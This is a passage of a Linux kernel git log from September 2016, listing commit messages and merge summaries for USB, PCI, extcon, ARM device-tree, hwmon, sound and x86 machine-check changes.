debugfs/pinctrl kernel warning Update gpio-cells and gpio specifier * tag 'sti-dt-for-v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti: ARM: dts: STiH41x-b2020: Update gpio specifier ARM: dts: STiH418-B2199: Update gpio specifier ARM: dts: STiH407-pinctrl: Update gpio-cells to 2 ARM: dts: STi: Introduce B2260 board ARM: dts: STiH407-family: Add ports-implemented property in sata nodes ARM: dts: STiH407-pinctrl: Add pinctrl_rgmii1_mdio_1 node ARM: dts: STiH407: Move non-removable property to board file ARM: dts: STiH407-pinctrl: Add i2c2_alt2_1 node ARM: dts: STiH410: Add thermal node ARM: dts: STiH407: Move pio20 node to fix kernel warning commit 9cdd8e11c2a2f4b7553823240dc16a35ffa243e9 Author: Wei Yongjun Date: Sat Sep 10 11:53:42 2016 +0000 USB: host: ohci-at91: fix non static symbol warning Fixes the following sparse warning: drivers/usb/host/ohci-at91.c:141:15: warning: symbol 'at91_dt_syscon_sfr' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ohci-at91.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b175b38a0fa6767e1eae2e94b9d5f81d7342850a Author: Wei Yongjun Date: Sat Sep 10 11:54:03 2016 +0000 usb: host: xhci-tegra: Fix error return code in tegra_xusb_probe() Fix to return error code -ENOMEM from the usb_create_shared_hcd() error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/usb/host/xhci-tegra.c | 1 + 1 file changed, 1 insertion(+) commit 36ae6776e42de0f9c3d5039dad466642fa2341fa Author: Julia Lawall Date: Sun Sep 11 15:05:58 2016 +0200 ezusb: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/ezusb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f409440703f302791f7ee209c4214d22ff9b7ec6 Author: Colin Ian King Date: Mon Sep 12 14:19:17 2016 +0100 USB: wusbcore: add in missing white space in error message text A dev_err message spans two lines and the literal string is missing a white space between words. Add the white space and reformat the message to not span multiple lines. Signed-off-by: Colin Ian King Signed-off-by: Greg Kroah-Hartman drivers/usb/wusbcore/cbaf.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit efbe27b3cf604effa77ab7e23a359e64fee06998 Author: Oliver Neukum Date: Tue Sep 13 16:44:37 2016 +0200 cdc-acm: cleaning up debug in data submission path Further cleanup making the debug messages more precise, useful and removing mere trace points. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-acm.c | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) commit 46e75075baec1f8c239faa74f2549400e1caaa2f Author: Oliver Neukum Date: Tue Sep 13 16:44:36 2016 +0200 cdc-acm: cleanup debugging in submission path Actually make it retutn useful information. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-acm.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit b584fa1fde71aa57fb63d32f66ff6c192ff7f2c5 Author: Bharat Kumar Gogada Date: Thu Sep 1 15:44:41 2016 +0530 PCI: xilinx: Keep both legacy and MSI interrupt domain references When built with MSI support, the legacy domain reference was being overwritten with MSI. Create two separate domains for MSI and legacy interrupts. Signed-off-by: Bharat Kumar Gogada Signed-off-by: Bjorn Helgaas Acked-by: Michal Simek drivers/pci/host/pcie-xilinx.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) commit 308433155a67cb097142292c8943e0aa8d1a1c79 Author: Vivien Didelot Date: Thu Sep 8 12:50:43 2016 -0400 net: bridge: add helper to call /sbin/bridge-stp If /sbin/bridge-stp is available on the system, bridge tries to execute it instead of the kernel implementation when starting/stopping STP. If anything goes wrong with /sbin/bridge-stp, bridge silently falls back to kernel STP, making hard to debug userspace STP. This patch adds a br_stp_call_user helper to start/stop userspace STP and debug errors from the program: abnormal exit status is stored in the lower byte and normal exit status is stored in higher byte. Below is a simple example on a kernel with dynamic debug enabled: # ln -s /bin/false /sbin/bridge-stp # brctl stp br0 on br0: failed to start userspace STP (256) # dmesg br0: /sbin/bridge-stp exited with code 1 br0: failed to start userspace STP (256) br0: using kernel STP Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller net/bridge/br_stp_if.c | 43 +++++++++++++++++++++++++++++++------------ 1 file changed, 31 insertions(+), 12 deletions(-) commit 21b031fbd165398b8e3ba323a8a11f13f721be6f Author: Rasmus Villemoes Date: Mon Sep 12 21:48:36 2016 -0500 usb: musb: remove redundant stack buffers aDate is always the empty string, so entirely pointless. The aRevision formatting might as well be done as part of the pr_debug() call - that also avoids it altogether if pr_debug is compiled out. Signed-off-by: Rasmus Villemoes Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_core.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 48fed03b4b37f03f469333269fec50b2b41ed7fb Author: Wei Yongjun Date: Mon Sep 12 21:48:35 2016 -0500 usb: musb: am35x: fix error return code in am35x_probe() Fix to return a negative error code from the usb_phy_generic_register() error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/am35x.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 947c49afe41fca4c062a8a780b0e003115d7238c Author: David Lechner Date: Mon Sep 12 21:48:34 2016 -0500 usb: musb: da8xx: Remove mach code Use the new phy-da8xx-usb driver to take the place of the mach code that pokes CFGCHIP2 in the da8xx musb glue driver. This unbreaks the driver. Signed-off-by: David Lechner Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/Kconfig | 2 +- drivers/usb/musb/da8xx.c | 135 ++++++++++++++++++----------------------------- 2 files changed, 51 insertions(+), 86 deletions(-) commit d458fe9a71a14737d1d8ff50d33c9ccf0403f435 Author: David Lechner Date: Mon Sep 12 21:48:33 2016 -0500 usb: musb: da8xx: Use devm in probe Simplify things a bit by using devm functions where possible. Signed-off-by: David Lechner [b-liu@ti.com: fixed merge conflict] Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/da8xx.c | 19 +++++-------------- 1 file changed, 5 insertions(+), 14 deletions(-) commit 7cba17ec9adc8cf6c7e165adc831b4a73570a898 Author: Hans de Goede Date: Mon Sep 12 21:48:32 2016 -0500 musb: sunxi: Add support for platform_set_mode This allows run-time dr_mode switching support via the "mode" musb sysfs attribute. Signed-off-by: Hans de Goede Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/sunxi.c | 61 ++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 57 insertions(+), 4 deletions(-) commit 65b3f50ed6fa121f2f8f0cb51c49bf038016ab46 Author: Tony Lindgren Date: Mon Sep 12 21:48:31 2016 -0500 usb: musb: Add PM runtime support for MUSB DSPS glue layer We can now just use PM runtime autoidle support as musb core keeps things enabled when the devctl session bit is set. And there's no need for dsps_musb_try_idle() so let's just remove it. Note that as cppi41 dma is clocked by musb, this only makes PM work for dsps glue layer if CONFIG_MUSB_PIO_ONLY=y and cppi41.ko is unloaded. This will get fixed when cppi41.c has PM runtime implemented. Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_dsps.c | 58 +++++++++++++------------------------------- 1 file changed, 17 insertions(+), 41 deletions(-) commit ae909fe4f4e8718bd0cba6f89c9d19de3ead7a04 Author: Tony Lindgren Date: Mon Sep 12 21:48:30 2016 -0500 usb: musb: Simplify PM runtime for 2430 glue layer With musb core now blocking PM based on the devctl status bit, we can remove related quirks from the 2430 glue layer and simplify PM runtime further. Lets's also use musb->controller instead of dev to make it clear we make the PM runtime calls for the core, not the glue layer. And we can now also lower the autoidle timeout. Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/omap2430.c | 76 ++++++--------------------------------------- 1 file changed, 10 insertions(+), 66 deletions(-) commit 2f3fd2c5bde1f94513c3dc311ae64494085ec371 Author: Tony Lindgren Date: Mon Sep 12 21:48:29 2016 -0500 usb: musb: Prepare dsps glue layer for PM runtime support We want to be polling the state when nothing is connected. Let's change the polling logic in preparation for PM runtime support. Signed-off-by: Tony Lindgren [b-liu@ti.com: undo unnecessary line leading whitespace change] Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_dsps.c | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) commit 467d5c980709b262df288a0d0e7780f295c56882 Author: Tony Lindgren Date: Mon Sep 12 21:48:28 2016 -0500 usb: musb: Implement session bit based runtime PM for musb-core We want to keep musb enabled always when the session bit is set. This simplifies the PM runtime and allows making it more generic across the various glue layers. So far the only exception to just following the session bit is host mode disconnect where the session bit stays set. In that case, just allow PM and let the PM runtime autoidle timeout deal with it. Signed-off-by: Tony Lindgren [b-liu@ti.com: changed using dev_dbg() to musb_dbg()] Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_core.c | 66 ++++++++++++++++++++++++++++++++++++++++++++ drivers/usb/musb/musb_core.h | 1 + 2 files changed, 67 insertions(+) commit 4d719209be3676936c27184cb9bff10f93f8fa64 Merge: 050bc4e 38085c9 Author: Greg Kroah-Hartman Date: Tue Sep 13 17:17:31 2016 +0200 Merge tag 'extcon-next-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/chanwoo/extcon into usb-testing Chanwoo writes: Update extcon for 4.9 Detailed description for this pull request: 1. Support the extcon property and add the synchronization APIs. - This feature supports the extcon property for external connector because each external connector might have the property according to the H/W design. - The property name should keep the following style. : EXTCON_PROP_USB_[property_name] : EXTCON_PROP_CHG_[property_name] : EXTCON_PROP_JACK_[property_name] : EXTCON_PROP_DISP_[property_name] - Add the new extcon APIs to support the extcon property. : extcon_set_property() : extcon_get_property() : extcon_set_property_capability() : extcon_get_property_capability() - Add the new synchronization extcon APIs. : This feature adds the synchronization extcon APIs to support the noti for both state and property. When extcon_*_sync() functions is called, the extcon informs the information from extcon provider to extcon client. The extcon driver may need to change the both state and multiple properties at the same time. After setting the data of a external connector, the extcon send the notification to client driver with the extcon_*_sync(). : extcon_sync() : extcon_set_state_sync() : extcon_set_property_sync() - Change the name of existing APIs. : extcon_set_cable_state_() -> extcon_set_cable() : extcon_get_cable_state_() -> extcon_get_cable() 2. Add the extcon type to group the connector into five category. - EXTCON_TYPE_USB : USB connector - EXTCON_TYPE_CHG : Charger connector - EXTCON_TYPE_JACK : Jack connector - EXTCON_TYPE_DISP : Display connector - EXTCON_TYPE_MISC : Miscellaneous connector 3. Add the new property for external connector. - EXTCON_PROP_USB_VBUS - EXTCON_PROP_USB_TYPEC_POLARITY - EXTCON_PROP_USB_SS (SuperSpeed) - EXTCON_PROP_DISP_HPD (Hot Plug Detect) 4. Add the new type of external connector. - EXTCON_DISP_DP : Display Port - EXTCON_DISP_HMD : Head Mounted Device - EXTCON_CHG_WPT : Wireless Power Transfer device 5. Add the new extcon driver. - Qualcomm SPMI PMIC USB id detection driver detects whether EXTCON_USB_HOST is attached or detached. (extcon-qcom-spmi-mis.c) 6. Remove the usage of extcon_update_state() and old extcon_set_state() - Both extcon_update_state() and extcon_set_state() should change the state of all external connectors with bit masking handling. It may occur the problem. Instead, extcon provides the extcon_set/get_state() functions. 7. Fix the minor issues on extcon drivers. commit f665bd1515aceb80990fdbc91b7c8aed045f5da8 Author: Bharat Kumar Gogada Date: Tue Aug 30 16:09:17 2016 +0530 PCI: xilinx-nwl: Enable all MSI interrupts using MSI mask The current mask enables and allows only one MSI interrupt on each MSI line. Enable all MSI interrupts, which will also support Endpoints with multi-MSI support. Signed-off-by: Bharat Kumar Gogada Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-xilinx-nwl.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ecebca79f6976ddaddfd054d699272515869ea28 Author: Chris Wilson Date: Mon Aug 29 19:16:13 2016 +0100 dma-buf/sync-file: Avoid enable fence signaling if poll(.timeout=0) If we being polled with a timeout of zero, a nonblocking busy query, we don't need to install any fence callbacks as we will not be waiting. As we only install the callback once, the overhead comes from the atomic bit test that also causes serialisation between threads. Signed-off-by: Chris Wilson Cc: Sumit Semwal Cc: Gustavo Padovan Cc: linux-media@vger.kernel.org Cc: dri-devel@lists.freedesktop.org Cc: linaro-mm-sig@lists.linaro.org Reviewed-by: Gustavo Padovan Signed-off-by: Sumit Semwal Link: http://patchwork.freedesktop.org/patch/msgid/20160829181613.30722-1-chris@chris-wilson.co.uk drivers/dma-buf/sync_file.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0a8784e792a03a04a2ec3bc443183a2f42058e30 Author: Axel Lin Date: Tue Sep 13 15:27:48 2016 +0800 hwmon: (lm95241) Update module description to include LM95231 This driver also supports LM95231. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck drivers/hwmon/lm95241.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3abb0c6cdc8a9a8a39f057335a7fa813b78409fe Merge: cbd1d63 5c4d9f0 Author: Arnd Bergmann Date: Tue Sep 13 16:27:42 2016 +0200 Merge tag 'omap-for-v4.9/dt-pt1-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap into next/dt Merge "DTS related changes for omaps for v4.9 merge window" from Tony Lindgren: - Update elm phandle for am335x - Fix overo NAND gpmc ranges, this has always been broken so it can wait for the merge window - Fix NAND and use NAND ready pin for logicpd gpmc, this can wait too as it's been using the older configration since the dts got added - A series of dtc warning fixes for unit names - Keep dcdc3, 5 and 6 enabled during suspend on am347x boards - Disable DDR regulator during rtc-only/poweroff mode for am437x boards - Remove redundant regulator compatibles for am437x boards - Increas QSPI max frequency for dra7 boards - Enable QSPI for am57xx-idk-common - Enable am335x-wega audio support - Workaround for i845 for dra7 - Update binding for logicpd boards - Add gpio-decoder nodes for am335x-icev2 board - Add linux,pci-domain property for dra7 - Fix dra7 clock data gmac_gmii_ref_clk_div and related clock tree entries, these can wait for merge window as Ethernet works on dra7 - A series of changes to drop skeleton.dtsi because of dtc warnings * tag 'omap-for-v4.9/dt-pt1-signed' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap: (54 commits) ARM: dts: dra7: Add missing unit name to memory nodes ARM: dts: dra62x: Add missing unit name to memory nodes ARM: dts: dm8168: Add missing unit name to memory nodes ARM: dts: dm8148: Add missing unit name to memory nodes ARM: dts: am572x: Add missing unit name to memory nodes ARM: dts: am4372: Add missing unit name to memory nodes ARM: dts: am3517: Add missing unit name to memory nodes ARM: dts: am335x: Add missing unit name to memory nodes ARM: dts: omap5: Add missing unit name to memory nodes ARM: dts: omap4: Add missing unit name to memory nodes ARM: dts: omap3: Add missing unit name to memory nodes ARM: dts: omap2: Add missing unit name to memory nodes ARM: dts: am4372: Remove skeleton.dtsi usage ARM: dts: dra7: Remove skeleton.dtsi usage ARM: dts: dm816x: Remove skeleton.dtsi usage ARM: dts: dm814x: Remove skeleton.dtsi usage ARM: dts: am33xx: Remove skeleton.dtsi usage ARM: dts: omap5: Remove skeleton.dtsi usage ARM: dts: omap4: Remove skeleton.dtsi usage ARM: dts: omap3: Remove skeleton.dtsi usage ... commit ca05ab20f1292fb5f929d40cd923460e15af7b41 Author: Axel Lin Date: Tue Sep 13 15:21:59 2016 +0800 hwmon: (lm95245) Select REGMAP_I2C This driver now uses regmap APIs, so it needs to select REGMAP_I2C. Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck drivers/hwmon/Kconfig | 1 + 1 file changed, 1 insertion(+) commit acf32964de8e8f02839796f1fe512b50a192e141 Author: Michael Neuling Date: Tue Sep 13 15:47:41 2016 +1000 hwmon: (ibmpowernv) Fix label for cores numbers not threads Currently the label says "Core" but lists the thread numbers. This ends up looking like this: # cat /sys/class/hwmon/hwmon0/temp[1-4]_label Core 0-7 Core 8-15 Core 16-23 Core 24-31 This is misleading as it looks like it's cores 0-7 when it's actually threads 0-7. This changes the print to just give the core number, so the output now looks like this: # cat /sys/class/hwmon/hwmon0/temp[1-4]_label Core 0 Core 8 Core 16 Core 24 Signed-off-by: Michael Neuling Acked-by: Cédric Le Goater Signed-off-by: Guenter Roeck drivers/hwmon/ibmpowernv.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit cbd1d63c772a55e49c4385819b75922979380f8c Merge: 30d430d 11b897a Author: Arnd Bergmann Date: Tue Sep 13 16:21:02 2016 +0200 Merge tag 'keystone_dts_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/ssantosh/linux-keystone into next/dt Merge "ARM: dts: Keystone DTS for 4.9" from Santosh Shilimkar Add K2G nodes for GPIO, IRQ and Message Manager * tag 'keystone_dts_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/ssantosh/linux-keystone: ARM: dts: keystone-k2g: Add Message Manager node ARM: dts: keystone-k2g: Add DSP GPIO controller node ARM: dts: keystone-k2g: Add keystone IRQ controller node ARM: dts: keystone-k2g: Add device state controller node ARM: dts: keystone: specify usb mode explicitly commit c2a7ff18edcdb9b04c655f361b0385bdbe3be935 Author: Bharat Kumar Gogada Date: Tue Aug 30 16:09:16 2016 +0530 PCI: xilinx-nwl: Expand error logging The current driver logs PCIe core errors. Add logging for individual core events. [bhelgaas: changelog] Signed-off-by: Bharat Kumar Gogada Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-xilinx-nwl.c | 48 +++++++++++++++++++++++++++++++------- 1 file changed, 40 insertions(+), 8 deletions(-) commit 30d430d9b66b79d418db1edaeb55cf58de7e757c Merge: 6f7f9e4 cb16593 Author: Arnd Bergmann Date: Tue Sep 13 16:11:51 2016 +0200 Merge tag 'uniphier-dt-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-uniphier into next/dt Merge "UniPhier ARM SoC DT updates for v4.9" from Masahiro Yamada: * Match DT names other projects and documents * Switch over to PSCI * Use clock/reset drivers * Misc * tag 'uniphier-dt-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-uniphier: ARM: dts: uniphier: add specific compatible to SoC-Glue node ARM: dts: uniphier: use clock/reset controllers ARM: dts: uniphier: switch over to PSCI ARM: dts: uniphier: match DT names to other projects and documents ARM: dts: uniphier: remove a whitespace after tabs commit 6f7f9e4418501a084b0472d963910c0d7ba75884 Merge: 94c6a37 05b01dd Author: Arnd Bergmann Date: Tue Sep 13 16:09:10 2016 +0200 Merge tag 'samsung-dt-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux into next/dt Merge "Samsung DeviceTree update for v4.9" from Krzysztof Kozlowski: 1. Set chosen serial bitrate which allows proper serial output when bootloader does pass all the data in command line. 2. Cleanup. * tag 'samsung-dt-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/krzk/linux: ARM: dts: exynos: Use 'hpd-gpios' instead of 'hpd-gpio' ARM: dts: exynos: Use stdout non-deprecated property and add serial options to Odroid XU/XU3/XU4 commit 94c6a37a74a241c7aa43c46d0575a70732cb4742 Merge: 92467a5 3ed6d3c Author: Arnd Bergmann Date: Tue Sep 13 16:06:41 2016 +0200 Merge tag 'lpc18xx_dts_for_4.9' of https://github.com/manabian/linux-lpc into next/dt Merge "Device Tree additions for LPC18xx platform" from Joachim Eastwood: Small fix for the compatible string for the NXP SE97 I2C chip on the Hitex Eval board from Guenter and a couple of additional DT properties for the DWMAC that is need for correct operation. * tag 'lpc18xx_dts_for_4.9' of https://github.com/manabian/linux-lpc: ARM: dts: lpc18xx: configure dwmac properly ARM: dts: lpc4350-hitex-eval: fix binding for SE97 i2c device commit 92467a5fd55974bae4209da4543d621df605db5e Author: Lars Persson Date: Tue Aug 23 16:00:52 2016 +0200 ARM: dts: artpec: set irq affinity on pmu interrupts The irq affinity is required for pmu interrupts. Signed-off-by: Lars Persson Signed-off-by: Arnd Bergmann arch/arm/boot/dts/artpec6.dtsi | 1 + 1 file changed, 1 insertion(+) commit 1b875160af6ca08bcb63d0201f38cca98e16601c Author: Lars Persson Date: Tue Aug 23 16:00:51 2016 +0200 ARM: dts: artpec: use optimized pl310 settings Use the cache settings that were determined to give best performance on artpec-6 typical workloads. Signed-off-by: Lars Persson Signed-off-by: Arnd Bergmann arch/arm/boot/dts/artpec6.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit d09ea47ac8dbd391d8d1103ffe841c75f0c1d8e7 Author: Lars Persson Date: Tue Aug 23 16:00:50 2016 +0200 ARM: dts: artpec: use clock binding header Use defines from the clock binding header as clock indexes. Signed-off-by: Lars Persson Signed-off-by: Arnd Bergmann arch/arm/boot/dts/artpec6.dtsi | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) commit 93329cd0460f4f683ce13c9a314532269a62c1d1 Merge: 3eab887 8bec084 Author: Arnd Bergmann Date: Tue Sep 13 16:01:12 2016 +0200 Merge tag 'renesas-dt-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas into next/dt Merge "Renesas ARM Based SoC DT Updates for v4.9" from Simon Horman: * Add DU, VIN, I2C, SDHI, EtherAVB, GPIO support to r8a7792 * Enable CAN0 on r8a7792/blanche * Enable sound on r8a7794/silk * Correct SDHI register size on r8a7794 * tag 'renesas-dt-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas: (26 commits) ARM: dts: r8a7792: add DU support ARM: dts: r8a7792: add DU clocks ARM: dts: r8a7792: fix misindented line ARM: dts: silk: add sound support ARM: dts: r8a7794: add sound support ARM: dts: r8a7794: add Audio-DMAC support ARM: dts: r8a7794: add MSTP10 clocks ARM: dts: r8a7794: add MSTP5 clocks ARM: dts: r8a7794: add audio clocks ARM: dts: r8a7792: add VIN support ARM: dts: r8a7792: add VIN clocks ARM: dts: r8a7792: add I2C support ARM: dts: r8a7792: add I2C clocks ARM: dts: r8a7792: add SDHI support ARM: dts: r8a7792: add SD clocks ARM: dts: r8a7794: Correct SDHI register size ARM: dts: blanche: add CAN0 support ARM: dts: r8a7792: add CAN support ARM: dts: r8a7792: add CAN clocks ARM: dts: r8a7792: add EtherAVB support ... commit ba6d018e3d2f6a0fad58a668cadf66b2d1f80f59 Author: Nicolas Iooss Date: Sat Sep 10 20:30:45 2016 +0200 x86/mm/pkeys: Do not skip PKRU register if debug registers are not used __show_regs() fails to dump the PKRU state when the debug registers are in their default state because there is a return statement on the debug register state. Change the logic to report PKRU value even when debug registers are in their default state. Fixes:c0b17b5bd4b7 ("x86/mm/pkeys: Dump PKRU with other kernel registers") Signed-off-by: Nicolas Iooss Acked-by: Dave Hansen Link: http://lkml.kernel.org/r/20160910183045.4618-1-nicolas.iooss_linux@m4x.org Signed-off-by: Thomas Gleixner arch/x86/kernel/process_64.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 69b05825e1f883d15d3d051d0eab3171e247ecaa Author: Takashi Sakamoto Date: Tue Sep 13 19:37:53 2016 +0900 ALSA: seq: fix to copy from/to user space When checking value of request for copy operation, current implementation compares shifted value to macros, while these macros are already shifted. As a result, it never performs to copy from/to user space. This commit fixes the bug. Fixes: 8ce8eb601c71('ALSA: seq: add an alternative way to handle ioctl requests' Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/core/seq/seq_clientmgr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d2f3e1058c7ff9dc18d14548f6263dcf13af67f7 Author: Simon Chopin Date: Sat Sep 10 07:11:52 2016 +0200 staging: fwserial: fix checkpatch permission warnings Fix the following warnings: Symbolic permissions are not preferred. Consider using octal permissions. Signed-off-by: Simon Chopin Signed-off-by: Greg Kroah-Hartman drivers/staging/fwserial/fwserial.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 4854f175c3182816d906c4bc34be5f30556346a5 Author: Johannes Berg Date: Tue Sep 13 15:39:29 2016 +0200 mac80211: remove useless open_count check __ieee80211_suspend() checks early on if there's anything to do by checking open_count, so there's no need to check again later in the function. Remove the useless check. Signed-off-by: Johannes Berg net/mac80211/pm.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7cc4ef8ed132e72ba44804cae3ddb2587ff757d6 Author: Borislav Petkov Date: Mon Sep 12 09:59:41 2016 +0200 x86/RAS/mce_amd_inj: Fix some W= warnings In particular: arch/x86/ras/mce_amd_inj.c: In function ‘prepare_msrs’: arch/x86/ras/mce_amd_inj.c:249:13: warning: declaration of ‘i_mce’ shadows a global declaration [-Wshadow] struct mce i_mce = *(struct mce *)info; ^~~~~ arch/x86/ras/mce_amd_inj.c: In function ‘init_mce_inject’: arch/x86/ras/mce_amd_inj.c:453:16: warning: comparison between signed and unsigned integer expressions [-Wsign-compare] for (i = 0; i < ARRAY_SIZE(dfs_fls); i++) { Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/20160912075941.24699-16-bp@alien8.de Signed-off-by: Thomas Gleixner arch/x86/ras/mce_amd_inj.c | 29 ++++++++++++++--------------- 1 file changed, 14 insertions(+), 15 deletions(-) commit a884675b873a0185d2626d1f304987c94cef6d74 Author: Yazen Ghannam Date: Mon Sep 12 09:59:40 2016 +0200 x86/MCE/AMD, EDAC: Handle reserved bank 4 on Fam17h properly Bank 4 is reserved on family 0x17 and shouldn't generate any MCE records. However, broken hardware and software is not something unheard of so warn about bank 4 errors. They shouldn't be coming from bank 4 naturally but users can still use mce_amd_inj to simulate errors from it for testing purposed. Also, avoid special handling in the injector mce_amd_inj like it is being done on the older families. [ bp: Rewrite commit message and merge into one patch. Use boot_cpu_data. ] Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Reviewed-by: Aravind Gopalakrishnan Link: http://lkml.kernel.org/r/1473384591-5323-1-git-send-email-Yazen.Ghannam@amd.com Link: http://lkml.kernel.org/r/1473384591-5323-2-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/ras/mce_amd_inj.c | 4 +++- drivers/edac/mce_amd.c | 3 +++ 2 files changed, 6 insertions(+), 1 deletion(-) commit 4f29b73bae158e3635b8f289f77376b054904ef5 Author: Yazen Ghannam Date: Mon Sep 12 09:59:39 2016 +0200 x86/mce/AMD: Extract the error address on SMCA systems The MCA_ADDR registers on Scalable MCA systems contain the ErrorAddr in bits [55:0] and the least significant bit of the address in bits [61:56]. We should extract the valid ErrorAddr bits from the MCA_ADDR register rather than saving the raw value to struct mce. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1473275643-1721-1-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/mcheck/mce.c | 10 ++++++++++ arch/x86/kernel/cpu/mcheck/mce_amd.c | 13 ++++++++++++- 2 files changed, 22 insertions(+), 1 deletion(-) commit 4b711f92c9b21878794597997ecda1428acc334c Author: Yazen Ghannam Date: Mon Sep 12 09:59:38 2016 +0200 x86/mce, EDAC/mce_amd: Print MCA_SYND and MCA_IPID during MCE on SMCA systems The MCA_SYND and MCA_IPID registers contain valuable information and should be included in MCE output. The MCA_SYND register contains syndrome and other error information, and the MCA_IPID register will uniquely identify the MCA bank's type without having to rely on system software. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1472680624-34221-2-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/mcheck/mce.c | 7 +++++++ drivers/edac/mce_amd.c | 2 ++ 2 files changed, 9 insertions(+) commit 5828c46f2c07b97d758da6dc6afd5c374768d44d Author: Yazen Ghannam Date: Mon Sep 12 09:59:37 2016 +0200 x86/mce/AMD: Save MCA_IPID in MCE struct on SMCA systems The MCA_IPID register uniquely identifies a bank's type and instance on Scalable MCA systems. We should save the value of this register in struct mce along with the other relevant error information. This ensures that we can decode errors without relying on system software to correlate the bank to the type. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1472680624-34221-1-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/include/uapi/asm/mce.h | 1 + arch/x86/kernel/cpu/mcheck/mce.c | 8 ++++++-- arch/x86/kernel/cpu/mcheck/mce_amd.c | 8 ++++++-- include/trace/events/mce.h | 5 ++++- 4 files changed, 17 insertions(+), 5 deletions(-) commit 66ef269dbbe45e264ccf7146d5db32b04478d148 Author: Yazen Ghannam Date: Mon Sep 12 09:59:36 2016 +0200 x86/mce/AMD: Ensure the deferred error interrupt is of type APIC on SMCA systems The Deferred Error Interrupt Type is set per bank on Scalable MCA systems. This is done in a bitfield in the MCA_CONFIG register of each bank. We should set its type to APIC-based interrupt and not assume BIOS has set it for us. Signed-off-by: Yazen Ghannam Signed-off-by: Borislav Petkov Link: http://lkml.kernel.org/r/1472737486-1720-1-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/mcheck/mce_amd.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 87a6d4091bd795b43d684bfc87253e04a263af1c Author: Yazen Ghannam Date: Mon Sep 12 09:59:35 